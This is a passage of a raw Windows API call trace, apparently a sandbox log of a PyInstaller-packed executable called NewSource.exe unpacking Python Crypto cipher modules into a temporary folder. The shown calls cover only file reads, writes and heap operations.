lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x800, lpOverlapped=0x0) returned 1 [0034.453] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.453] CloseHandle (hObject=0x10c) returned 1 [0034.454] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.454] htonl (hostlong=0x30000000) returned 0x30 [0034.454] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.454] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.454] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.455] GetFileType (hFile=0x10c) returned 0x1 [0034.455] htonl (hostlong=0x93cc0100) returned 0x1cc93 [0034.455] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x67c93, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.455] htonl (hostlong=0xe4100000) returned 0x10e4 [0034.455] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10e4) returned 0x55d270 [0034.455] htonl (hostlong=0xe4100000) returned 0x10e4 [0034.455] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.455] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.455] htonl (hostlong=0x200000) returned 0x2000 [0034.455] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2000) returned 0x561090 [0034.455] htonl (hostlong=0xe4100000) returned 0x10e4 [0034.455] htonl (hostlong=0x200000) returned 0x2000 [0034.455] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563098 [0034.456] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563098 | out: hHeap=0x530000) returned 1 [0034.456] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.456] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.456] CloseHandle (hObject=0x10c) returned 1 [0034.456] GetLastError () returned 0x0 [0034.456] SetLastError (dwErrCode=0x0) [0034.456] GetLastError () returned 0x0 [0034.456] SetLastError (dwErrCode=0x0) [0034.456] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.456] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.456] GetFileType (hFile=0x10c) returned 0x1 [0034.456] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.456] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.456] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.456] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.456] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.456] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.456] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.456] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.457] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.457] CloseHandle (hObject=0x10c) returned 1 [0034.457] GetLastError () returned 0x0 [0034.457] SetLastError (dwErrCode=0x0) [0034.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.457] GetFileType (hFile=0x10c) returned 0x1 [0034.457] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.457] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.457] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.457] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.457] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.457] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.457] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.457] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.457] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.457] CloseHandle (hObject=0x10c) returned 1 [0034.457] GetLastError () returned 0x0 [0034.457] SetLastError (dwErrCode=0x0) [0034.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ocb.pyd") returned 72 [0034.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ocb.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_ocb.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.457] GetLastError () returned 0x2 [0034.457] SetLastError (dwErrCode=0x2) [0034.458] GetLastError () returned 0x2 [0034.458] SetLastError (dwErrCode=0x2) [0034.458] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ocb.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ocb.pyd", lpFilePart=0x0) returned 0x47 [0034.458] GetLastError () returned 0x2 [0034.458] SetLastError (dwErrCode=0x2) [0034.458] GetLastError () returned 0x2 [0034.458] SetLastError (dwErrCode=0x2) [0034.458] GetLastError () returned 0x2 [0034.458] SetLastError (dwErrCode=0x2) [0034.458] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ocb.pyd") returned 72 [0034.458] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ocb.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_ocb.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.458] GetFileType (hFile=0x10c) returned 0x1 [0034.458] htonl (hostlong=0x200000) returned 0x2000 [0034.458] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0034.459] CloseHandle (hObject=0x10c) returned 1 [0034.460] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.460] htonl (hostlong=0x30000000) returned 0x30 [0034.460] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.460] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.460] GetFileType (hFile=0x10c) returned 0x1 [0034.460] htonl (hostlong=0x77dd0100) returned 0x1dd77 [0034.460] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x68d77, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.461] htonl (hostlong=0x2c0c0000) returned 0xc2c [0034.461] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc2c) returned 0x55d270 [0034.461] htonl (hostlong=0x2c0c0000) returned 0xc2c [0034.461] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55dea8 [0034.461] ReadFile (in: hFile=0x10c, lpBuffer=0x55dea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55dea8*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.461] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.461] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a00) returned 0x560088 [0034.461] htonl (hostlong=0x2c0c0000) returned 0xc2c [0034.461] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.461] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561a90 [0034.461] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561a90 | out: hHeap=0x530000) returned 1 [0034.461] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.461] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dea8 | out: hHeap=0x530000) returned 1 [0034.461] CloseHandle (hObject=0x10c) returned 1 [0034.462] GetLastError () returned 0x0 [0034.462] SetLastError (dwErrCode=0x0) [0034.462] GetLastError () returned 0x0 [0034.462] SetLastError (dwErrCode=0x0) [0034.462] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.462] GetFileType (hFile=0x10c) returned 0x1 [0034.462] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.462] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.462] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.462] CloseHandle (hObject=0x10c) returned 1 [0034.462] GetLastError () returned 0x0 [0034.462] SetLastError (dwErrCode=0x0) [0034.462] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.462] GetFileType (hFile=0x10c) returned 0x1 [0034.462] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.463] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.463] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.463] CloseHandle (hObject=0x10c) returned 1 [0034.463] GetLastError () returned 0x0 [0034.463] SetLastError (dwErrCode=0x0) [0034.463] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ofb.pyd") returned 72 [0034.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ofb.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_ofb.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.463] GetLastError () returned 0x2 [0034.463] SetLastError (dwErrCode=0x2) [0034.463] GetLastError () returned 0x2 [0034.463] SetLastError (dwErrCode=0x2) [0034.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ofb.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ofb.pyd", lpFilePart=0x0) returned 0x47 [0034.463] GetLastError () returned 0x2 [0034.463] SetLastError (dwErrCode=0x2) [0034.463] GetLastError () returned 0x2 [0034.463] SetLastError (dwErrCode=0x2) [0034.463] GetLastError () returned 0x2 [0034.463] SetLastError (dwErrCode=0x2) [0034.463] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ofb.pyd") returned 72 [0034.463] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ofb.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_ofb.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.464] GetFileType (hFile=0x10c) returned 0x1 [0034.464] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.464] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.465] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.465] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0034.465] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.465] CloseHandle (hObject=0x10c) returned 1 [0034.466] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.466] htonl (hostlong=0x30000000) returned 0x30 [0034.466] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.466] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.466] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.466] GetFileType (hFile=0x10c) returned 0x1 [0034.466] htonl (hostlong=0xa3e90100) returned 0x1e9a3 [0034.466] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x699a3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.466] htonl (hostlong=0x6f150000) returned 0x156f [0034.466] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x156f) returned 0x55d270 [0034.467] htonl (hostlong=0x6f150000) returned 0x156f [0034.467] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.467] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.467] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.467] htonl (hostlong=0x2a0000) returned 0x2a00 [0034.467] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2a00) returned 0x561090 [0034.467] htonl (hostlong=0x6f150000) returned 0x156f [0034.467] htonl (hostlong=0x2a0000) returned 0x2a00 [0034.467] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563a98 [0034.467] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563a98 | out: hHeap=0x530000) returned 1 [0034.467] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.467] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.467] CloseHandle (hObject=0x10c) returned 1 [0034.468] GetLastError () returned 0x0 [0034.468] SetLastError (dwErrCode=0x0) [0034.468] GetLastError () returned 0x0 [0034.468] SetLastError (dwErrCode=0x0) [0034.468] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.468] GetFileType (hFile=0x10c) returned 0x1 [0034.468] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.468] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.476] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.476] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.476] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.477] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.477] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.477] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.477] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.477] CloseHandle (hObject=0x10c) returned 1 [0034.477] GetLastError () returned 0x0 [0034.477] SetLastError 